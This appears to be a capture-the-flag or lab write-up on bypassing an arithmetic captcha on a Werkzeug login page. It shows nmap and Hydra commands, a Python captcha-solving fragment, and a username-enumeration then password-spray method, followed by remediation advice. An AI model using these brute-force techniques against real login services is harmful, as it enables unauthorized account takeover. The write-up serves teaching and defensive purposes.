Login rate-limit captcha bypass and credential spray
Foundations web engagement: Werkzeug login enabled arithmetic captchas after failed attempts; a custom client solved captchas while spraying usernames then passwords to recover a valid session.
- Case files
- Login rate-limit captcha bypass and credential spray
Hydra failed once captchas appeared. A Python client parsed the math challenge, enumerated a valid username, then cracked the password against the supplied wordlists.
Port 80 login accepted sprays until captcha mode blocked Hydra.
Custom client solved captchas, found a valid user, then recovered the password.
Engagement summary
Hydra failed once captchas appeared. A Python client parsed the math challenge, enumerated a valid username, then cracked the password against the supplied wordlists.
CAPTURE exposed a single HTTP service (Werkzeug/Python) with a login form and operator-supplied username/password lists. After several failures the application returned “Too many bad login attempts” and required solving an inline arithmetic captcha. Stock Hydra could not keep captcha state. A custom requests client triggered captcha mode, evaluated each expression, sprayed usernames until the “does not exist” oracle flipped, then sprayed passwords until the response shrank to the success page containing the engagement artifact.
Business impact
Client-solved math captchas are not a control against automated credential stuffing. Use server-side rate limits, account lockouts with out-of-band unlock, MFA, and CAPTCHA providers that bind challenges to opaque tokens — not plaintext arithmetic in HTML.
Recon and Hydra dead end
Port 80 login accepted sprays until captcha mode blocked Hydra.
OPERATOR · RECON
savvy@lab:~$ nmap -sV 10.10.236.203
80/tcp open http Werkzeug/2.2.2 Python/3.8.10
savvy@lab:~$ hydra -L usernames.txt -P passwords.txt 10.10.236.203 http-post-form "/login:username=^USER^&password=^PASS^:Error" -t 40
# captcha enabled — Invalid captcha / rate limit
Captcha-aware credential spray
Custom client solved captchas, found a valid user, then recovered the password.
PAYLOAD
bypass.py
def solve_captcha(parts):
a, op, b = int(parts[0]), parts[1], int(parts[2])
return {"+": a + b, "-": a - b, "*": a * b, "/": a / b}[op]
# POST username/password/captcha; parse next captcha from HTML
# Username oracle: absence of "does not exist"
# Password success: short response body with flagOPERATOR · SPRAY
savvy@lab:~$ python3 bypass.py --host 10.10.236.203
[+] Starting username brute force...
!!! Username Found: <valid_user>
[+] Starting password brute force...
!!! Password Found: <valid_pass>
Remediation
Replace DIY captchas with a proven provider; add progressive delays and MFA. Never leak username existence in error text.